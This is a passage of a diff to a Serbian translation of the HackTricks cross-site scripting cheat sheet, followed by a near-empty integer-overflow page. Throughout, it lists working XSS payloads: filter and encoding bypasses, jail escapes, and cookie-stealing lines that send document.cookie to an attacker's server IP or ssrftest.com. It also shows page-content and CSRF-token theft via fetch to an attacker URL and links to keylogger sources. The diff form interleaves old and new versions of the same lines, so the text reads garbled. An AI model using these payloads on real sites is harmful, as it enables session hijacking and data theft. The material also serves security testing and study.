[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### Bypass na događajne rukovaoca
### o Bypass događajnih rukovaoca
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoca**.\
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoce**.\
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske:
```javascript
<svg onload%09=alert(1)> //No safari
@ -432,13 +428,13 @@ Od [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
### Bypass-ovi crne liste
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se da saznate gde možete koristiti:
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se **nazad da biste saznali gde možete koristiti:**
* **HTML enkodiranje (HTML tagovi)**
* **Unicode enkodiranje (može biti validan JS kod):** `\u0061lert(1)`
* **URL enkodiranje**
* **Hex i Oktalno enkodiranje**
* **data enkodiranje**
* **Heksadecimalno i oktalno enkodiranje**
* **Data enkodiranje**
**Bypass-ovi za HTML tagove i atribute**
@ -478,23 +474,22 @@ Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflektovani podaci'
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
Imajte na umu da u ovom primeru **čak nismo zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
### Unutar JS koda
Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti sintaksu JS-a**, jer ako postoje greške, JS kod neće biti izvršen:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Šablonski literali \`\`
### Šablon literali \`\`
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablonski literali jer omogućavaju da se **ugrađeni JS izrazi** koriste pomoću sintakse `${ ... }`.
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablon literali jer omogućavaju da se **ugrađuju JS izrazi** koristeći sintaksu `${ ... }` .\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **proizvoljan JS kod**:
Dakle, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da biste izvršili **proizvoljni JS kod**:
Ovo se može **zloupotrebiti** korišćenjem:
Ovo se može **zloupotrebiti** koristeći:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -512,7 +507,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
```
### Unicode kodiranje JS izvršavanja
### Unicode Kodiranje JS izvršavanja
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -736,7 +731,7 @@ top[8680439..toString(30)](1)
````
## **DOM ranjivosti**
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.\
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
**Zbog proširenja objašnjenja** [**DOM ranjivosti premešteno je na ovu stranicu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -750,15 +745,15 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Normalizovani Unicode
Možete proveriti da li se **reflektovane vrednosti** normalizuju u unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
Možete proveriti da li se **reflektovane vrednosti** normalizuju u Unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Bypassovanje Ruby-On-Rails
### Ruby-On-Rails zaobilazak
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodaju se dodatna polja (onfocus) unutar taga.\
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodaju se dodatna polja (onfocus) unutar taga.\
Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -801,18 +796,19 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa ubacivanjem zaglavlja u 302 odgovoru
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je sam XSS payload beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.\
Prethodno poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.
### Samo Slova, Brojevi i Tačke
Prošli poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere. [**Pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje.
### Samo slova, brojevi i tačke
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere, [**pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje.
### Validni `<script>` Content-Type-ovi za XSS
(Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
(Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om poput `application/octet-stream`, Chrome će prikazati sledeću grešku:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -846,7 +842,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
Odgovor je:
* **modul** (podrazumevano, nema šta da se objasni)
* **modul** (podrazumevano, ništa posebno za objašnjavanje)
* [**webbundle**](https://web.dev/web-bundles/): Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u **`.wbn`** fajl.
```html
<script type="webbundle">
@ -874,9 +870,9 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/tree/master/solution) da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
Ovo ponašanje je korišćeno u [**ovom writeup-u**](https://github.com/zwade/yaca/tree/master/solution) da bi se preusmerila biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
```html
<script type="speculationrules">
{
@ -892,9 +888,9 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
}
</script>
```
### Vrste web sadržaja za XSS
### Web Content-Types to XSS
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeće vrste sadržaja mogu izvršiti XSS u svim pregledačima:
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
* text/html
* application/xhtml+xml
@ -905,11 +901,11 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
* application/rss+xml (isključeno)
* application/atom+xml (isključeno)
U drugim pregledačima druge **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
U drugim pregledačima se mogu koristiti i drugi **`Content-Types`** za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml Tip sadržaja
Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
Ako stranica vraća content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -917,19 +913,19 @@ Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti nam
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Posebni obrasci zamene
### Posebni šabloni zamene
Kada se koristi nešto poput **`"neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)`**, napadač može koristiti [**posebne zamene niski**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))``
Na primer, u [**ovom objašnjenju**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **izbegne JSON nisku** unutar skripte i izvrši proizvoljan kod.
### Chrome keširanje za XSS
### Chrome Keš do XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
### XS Jails bekstvo
### XS Jails Bekstvo
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
```javascript
@ -1057,14 +1053,22 @@ trigger()
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS zajednički payload-ovi
## XSS uobičajeni payload-ovi
### Više payload-ova u 1
### Više payload-a u 1
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Iframe zamka
Naterajte korisnika da se kreće po stranici bez napuštanja iframe-a i da ukrade njegove akcije (uključujući informacije poslate u formama):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Preuzimanje kolačića
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
@ -1088,7 +1092,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Ako je postavljen HTTPOnly flag na kolačiću, **nećete moći pristupiti kolačićima iz JavaScript-a**. Ali evo [nekih načina za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće.
Nećete moći da pristupite kolačićima iz JavaScript-a ako je postavljen HTTPOnly flag u kolačiću. Ali ovde imate [neke načine za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće.
{% endhint %}
### Ukradi sadržaj stranice
@ -1104,7 +1108,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true);
xhr.send(null);
```
### Pronalaženje internih IP adresa
### Pronađite interne IP adrese
```html
<script>
var q = []
@ -1197,7 +1201,7 @@ Samo pretražujući na github-u pronašao sam nekoliko različitih:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* Takođe možete koristiti metasploit `http_javascript_keylogger`
* Možete takođe koristiti metasploit `http_javascript_keylogger`
### Krađa CSRF tokena
```javascript
@ -1282,7 +1286,7 @@ Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
```
### Regex - Pristup skrivenom sadržaju
Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) je moguće naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1311,9 +1315,9 @@ Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS!
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS ka SSRF
### XSS ka SSRF-u
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **unaprediti to u SSRF** kroz ubacivanje Edge Side Include Injection sa ovim payload-om:
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi to na SSRF** putem ubacivanja Edge Side Include Injection sa ovim payload-om:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1329,7 +1333,7 @@ Dakle, ako **PDF kreator bot pronađe** neke vrste **HTML** **tagova**, on će i
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
Ako ne možete ubaciti HTML tagove, vredno je pokušati da **ubacite PDF podatke**:
Ako ne možete da ubacite HTML tagove, vredno je pokušati da **ubacite PDF podatke**:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
@ -1341,7 +1345,7 @@ AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključ
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
Primer [**writeup XSS u Amp4Email-u u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
Primer [**izveštaja o XSS-u u Amp4Email-u u Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS otpremanje fajlova (svg)
@ -1401,9 +1405,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Pronađi **više SVG payloada na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Razne JS Trikovi & Relevantne Informacije
## Razne JS Trikove & Relevantne Informacije
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1417,19 +1421,19 @@ Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheat
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pismenoj i usmenoj formi_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -0,0 +1,31 @@
# Prekoračenje celobrojnog tipa
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Proverite:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>